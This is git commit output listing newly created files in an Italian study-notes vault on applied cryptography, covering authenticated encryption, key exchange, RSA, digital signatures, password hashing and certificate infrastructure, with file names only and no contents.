 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/freshness.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code system.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/reflection attack.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/replay attack.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Chacha20-Poly1305.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Galois-Counter mode.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/MAC-then-encrypt.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/counter with cipher block chaining message authentication code.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/crittografia simmetrica autenticata.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-and-MAC.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-then-MAC.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/generic composition.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/operation mode autenticato di un cifrario a blocchi.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/Adiantum.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/HCTR2.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR operation mode.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR operation mode.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR with ciphertext stealing.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/ciphertext stealing.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption protocol.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/narrow-block encryption.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/super pseudo-random permutation.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweak.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweakable operation mode di un cifrario a blocchi.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/wide-block encryption.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/authenticated encryption with associated data.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/deterministic authenticated encryption with associated data.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a blocchi con initialization vector.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a flusso con nonce.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico per la crittografia simmetrica.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/Keccak message authentication code.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/ParallelHash.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/TupleHash.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/cSHAKE.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/extendible output function.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/funzione contestualizzata.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Expand.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Extract.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/aggiunta di entropia in una key derivation function.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/chiave derivata.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/contestualizzazione di una key derivation function.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/expansion di una key derivation function.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/extraction di una key derivation function.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/input key material.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation function.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/pseudo-random key.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/format-preserving encryption.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/merkle hash tree.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/partial disclosure.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/struttura dati autenticata.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/generatore di un gruppo ciclico.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo additivo.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico di modulo primo.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo di Galois.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo finito.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo infinito.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo moltiplicativo.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/ordine di un gruppo.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/sottogruppo.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/curva ellittica.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/equazione di Weierstrass.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/gruppo ciclico su curva ellittica.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/punto a infinito nelle curve ellittiche.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/somma di punti su curve ellittiche.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve25519.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve448.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-256.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-521.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Sep256k1.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del punto non valido.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del sottogruppo debole.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave privata.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave pubblica.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman classica.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman computazionale.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman decisionale.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/coppia di chiavi.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/key generation algorithm.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su curva ellittica.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su gruppi ciclici primi sugli interi.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/numero primo sicuro.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/one-way function.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman su curva ellittica.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato basato su Diffie-Hellman.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato lato server.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave basato su Diffie-Hellman.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave mutualmente autenticato.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v15.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v20.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/RSA.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/congettura della fattorizzazione.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia asimmetrica.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia ibrida.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/elliptic curve integrated encryption scheme.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/funzione toziente.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/integrated encryption scheme.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/key encapsulation.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/mask generation function.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/million message attack.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/problema RSA.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/scambio di chiave simmetrica basato sull'incapsulamento.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/textbook RSA.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/trapdoor one-way function.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Edwards-curve digital signature algorithm.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/PKCS1 v21.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Schnorr deterministic signature scheme.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Schnorr signature scheme.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/digital signature algorithm.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/elliptic curve digital signature algorithm.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/fiducia.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/firma digitale.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/full domain hash.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/probabilistic signature scheme.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/problema di firma digitale.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr interattivo.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr non-interattivo.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature forgery.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature scheme.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/transcript.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/trasformazione di Fiat-Shamir.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/witness.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/zero-knowledge proof.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/adaptively-chosen-message attacker.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/any message forgery.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/chosen-message attacker.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/contesto di firma digitale.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/known-message attacker.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/no-message attacker.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/random-message attacker.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/selective message forgery.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential message forgery.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential unforgeability.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential message forgery.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential unforgeability.md
 create mode 100644 8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control list.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control model.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autenticazione di identità.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autorizzazione di utente.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/credenziale.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/database delle credenziali.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/identificazione.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/servizio di autenticazione.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/user agent.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/utente.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/Argon2.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF1.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/PBKDF2.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/archiviazione delle credenziali.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco di pre-computazione.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/attacco interattivo.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/bcrypt.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/data breach.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/enumerazione.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing adattiva.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/funzione di password hashing.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/invalidazione.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/password.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/pepper.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/personal identification number.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/rainbow table.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/salt.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/scrypt.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/Initiative for Open Authentication.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/OPAQUE.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/SCRAM authentication.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/Untitled.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/augmented password-based key exchange.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/basic authentication.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/bearer token.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/blinded.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on common knowledge.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on password.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on public key.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on time.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/channel binding.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/digest authentication.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/hash-based one-time password.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious pseudo-random function.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/one-time credential.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/password-based authenticated key exchange.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/secure remote password.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/time-based one-time password.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/COSE.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/JOSE.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/OpenPGP web of trust.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS12.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS7 Cryptographic message syntax.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/abstract syntax notation one.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/attestato.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/audience.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate revocation list.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate sign request.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate transparency.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certification authority.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificato web.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/claim.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/creazione di un certificato web.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/delegated verification.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/denial-of-service attack.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished encoding rules.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished name.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distribuzione chiavi pubbliche.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/domain validation.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/extended validation.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/fiducia transitiva.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/intermediate certification authority.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/issuer.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol stapling.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/online certificate status protocol.md
